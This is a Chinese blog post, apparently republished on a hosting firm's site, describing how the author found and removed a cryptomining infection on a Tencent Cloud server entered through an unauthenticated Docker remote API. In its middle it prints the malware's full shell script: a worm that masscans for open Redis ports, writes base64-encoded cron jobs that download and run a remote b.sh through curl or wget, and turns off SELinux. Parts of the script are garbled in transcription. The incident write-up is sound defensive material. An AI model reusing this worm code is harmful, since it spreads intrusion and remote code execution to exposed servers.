记一次轻量服务器被入侵的排查过程

| 2019-05-17

缘起
day1:兴高采烈新装了个一台轻量,打算用来练练docker,装好了docker,跑了个helloworld,开启了远程访问访问,5:30下班。
day2:早晨醒来,收到一个腾讯云的提醒,说我向外攻击,想了半天没想起来我本身没有这种操作啊,而且docker里面也只装了个ng,也没有其他的东西啊。

第一步 登录服务器查看是不是有访问外部6379端口的进程,通过netstat -an|grep 6379 发现有大量的本地端口在访问外部的6379,进程同时指向一个pnscan的工具,搜了一下pnscan关键字,很多结果均指向这是个挖矿病毒。

第二步 查看操作历史
分别使用last 、history查看日志,都没有任何记录,这明显是被人给清了。
 
第三步 top查看服务器资源,发现cpu被占用95%以上,直接kill掉pnscan进程,cpu降至50%,还是不太正常,稍等会发现pnscan又复活了,看来是有个后端脚本在监听进程的,通过whereis pnscan,找到这个位置,直接rm -rf pnscan,再次kill掉pnscan,cpu降下来了。
 再次top发现有个httpd的进程很奇怪,因为我是新装的轻量,所以我对进程有哪些很清楚,如果是个老系统,那就很有迷惑性了,通过whereis httpd,找到httpd所在的目录,进去一看真是小刀拉屁股,开了眼了,这里面看起来放的都是一堆碎片文件,似乎真是在挖矿?????????

找到httpd.sh 脚本,打开源码发现这确实是个调用pnscan扫描6379端口的工具
 #!/bin/bash
 setenforce 0 2>/dev/null
 ulimit -u 50000
 sleep 1
 iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
 iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
 sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
 sleep 1
 echo 'config set dbfilename "backup.db"' > .dat
 echo 'save' >> .dat
 echo 'config set stop-writes-on-bgsave-error no' >> .dat
 echo 'flushall' >> .dat
 echo 'set backup1 "\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash \n\n"' >> .dat
 echo 'set backup2 "\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash\n\n"' >> .dat
 echo 'set backup3 "\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash\n\n"' >> .dat
 echo 'config set dir "/var/spool/cron/"' >> .dat
 echo 'config set dbfilename "root"' >> .dat
 echo 'save' >> .dat
 echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
 echo 'save' >> .dat
 echo 'flushall' >> .dat
 echo 'set backup1 "\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash \n\n"' >> .dat
 echo 'set backup2 "\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash\n\n"' >> .dat
 echo 'set backup3 "\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash\n\n"' >> .dat
 echo 'config set dir "/etc/cron.d/"' >> .dat
 echo 'config set dbfilename "zzh"' >> .dat
 echo 'save' >> .dat
 echo 'config set dir "/etc/"' >> .dat
 echo 'config set dbfilename "crontab"' >> .dat
 echo 'save' >> .dat
 sleep 1
 pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
 for z in $( seq 0 5000 | sort -R ); do
 for x in $( echo -e "47\n39\n8\n121\n106\n120\n123\n65\n3\n101\n139\n99\n63\n81\n44\n18\n119\n100\n42\n49\n118\n54\n1\n50\n114\n182\n52\n13\n34\n112\n115\n111\n116\n16\n35\n117\n124\n59\n36\n103\n82\n175\n122\n129\n45\n152\n159\n113\n15\n61\n180\n172\n157\n60\n218\n176\n58\n204\n140\n184\n150\n193\n223\n192\n75\n46\n188\n183\n222\n14\n104\n27\n221\n211\n132\n107\n43\n212\n148\n110\n62\n202\n95\n220\n154\n23\n149\n125\n210\n203\n185\n171\n146\n109\n94\n219\n134" | sort -R ); do
 for y in (seq0255∣sort−R);do( seq 0 255 | sort -R ); do(seq0255∣sort−R);dopnx -t256 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' x.x.x.y.0.0/16 6379 > .r.x.x.x.y.o
 awk '/Linux/ {print $1, 3}' .r.x.y.o>.r.y.o > .r.y.o>.r.x.$y.l
 while read -r h p; do
 cat .dat | redis-cli -h $h -p p --raw & done < .r.x.$y.l
 done
 done
 done
 sleep 1
 masscan --max-rate 10000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .shard
 sleep 1
 masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .ranges
 sleep 1
 ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inet
 sleep 1
 masscan --max-rate 10000 -p6379 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .lan
 sleep 60
 rm -rf .dat .shard .ranges .lan 2>/dev/null
始作俑者正是这个脚本,把脚本删掉,kill httpd进程,cpu降下来了。那么他是通过什么途径进入到我的机器的呢?通过pnscan关键字搜了一下发现有的人的机器现象和我是几乎一模一样的,他在文章中指出问题源自于docker开启了远程访问,同时又没有开启认证,导致被入侵了。
     此时还有一系列问题没有处理,比如我没有删除恶意authorized_keys的权限,为了安全起见(偷懒)我选择了重装。
      ps:刚开始不知道轻量的镜像功能在重装后还保留,导致出了故障之后我只保留了一部分截图就重装了,当时应该保留一个镜像才能更好复盘呢,在这里必须夸一夸腾讯云

编辑:航网科技 来源:腾讯云 本文版权归原作者所有 转载请注明出处

在线客服

微信扫一扫咨询客服


全国免费服务热线
0755-36300002

返回顶部